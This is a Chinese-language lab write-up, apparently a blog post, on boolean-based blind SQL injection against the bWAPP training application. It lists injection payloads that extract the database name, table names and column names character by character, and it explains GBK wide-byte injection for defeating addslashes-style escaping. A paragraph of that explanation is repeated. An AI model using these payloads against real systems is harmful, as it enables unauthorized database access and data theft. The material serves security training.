bWAPP-SQLiBlind

布尔盲注

基本流程

1.判断注入点

'
' or 1=1#
' or 1=2#

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

2.判断数据库长度并逐个爆破(count/length/mid)

  • 使用length()函数判断数据库长度(二分法)
-- 前面放回false 执行or 后面的语句如果返回true则数据库长度大于该值,反之小于
' or length(database()) >  8#
' or length(database()) >  4#
' or length(database()) >  6#

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

故数据库长度为5

' or length(database()) =  5#

在这里插入图片描述

  • 逐个字符爆破数据库名

    使用midsubstring截取字符并逐个判断

    --' or ascii(mid(database(),1,1))>110 #
    ' or ascii(substring(database(),1,1))>100 # (false)
    ' or ascii(substring(database(),1,1))>95 # (true)
    ' or ascii(substring(database(),1,1))>97 # (true)
    ' or ascii(substring(database(),1,1))>99 # (flase)
    ' or ascii(substring(database(),1,1))= 98 # (true)
    

在这里插入图片描述

98对应为字符 b

ascii码对照

在这里插入图片描述

以此类推得到表名

爆破表的个数/长度/表名(count/length/mid)

  • 爆破表的个数
or (select count(table_name) from information_schema.tables where table_schema=database())>5 #
  • 爆破表的长度
' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) > 5 #
  • 爆破字符
' or ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100 # 

爆破列个数/长度/列名(count/length/mid)

  • 爆破列的个数
' or (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users') > 5 #
  • 爆破列的长度
' or length((select column_name from information_schema.columns where 
 table_schema=database() and table_name='users' limit 0,1)) > 5 #
  • 爆破列名
' or ascii(mid((select column_name from information_schema.columns where 
 table_schema=database() and table_name='users' limit 0,1),1,1)) > 105 #

base

low

直接注入,可使用sqlmap进行注入

mid/high

采用了addslashed()和mysqli_real_escape_string()函数,

且mysql编码和os编码一致, 无法用宽字节绕过,

宽字节注入

注入原理

注入原理很简单, 就是编码, 一点一点分析:

假设一个url有注入, 但是有安全函数, 我们敲单引号会被过滤,那么怎么办呢?这时候就利用GBK双字节注入

我们在后边这么构造url一个尝试:

http://www.****.com/index.php?id=1%df' and 1=1

其中,

%df ’ 经过安全函数之后在 ’ 之前会被加上一个转义符号’’, 即: %df '

由于采用的是url编码, 最后转化为:

%df%5c%27

关键就在这,%df会吃掉%5c,形成一个新的字节, 形象一点就是%df遇到%5c会把%5c吃掉,形成%df%5c,这个编码经过代码

解码后会形成一个汉字“誠”

还不明白? 没关系, 举一个简单的栗子:

xi’an (西安) ==> xian(先)

值得一提的是, 并不是唯一的使用%df, 只要编码超过ascii码(128)之后, 可以自己组合。只要是汉字就都可以使用

总的来解释一下,

因为%df的关系,\的编码%5c被吃掉了,也就失去了转义的效果,即安全函数丧失了作用, 被直接带入到mysql中,然后mysql在解读时无视了%df%5c形成的新字节,那么单引号便重新发挥了效果, 就可以构造注入了。

以自己组合。只要是汉字就都可以使用**

总的来解释一下,

因为%df的关系,\的编码%5c被吃掉了,也就失去了转义的效果,即安全函数丧失了作用, 被直接带入到mysql中,然后mysql在解读时无视了%df%5c形成的新字节,那么单引号便重新发挥了效果, 就可以构造注入了。

宽字节注入

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值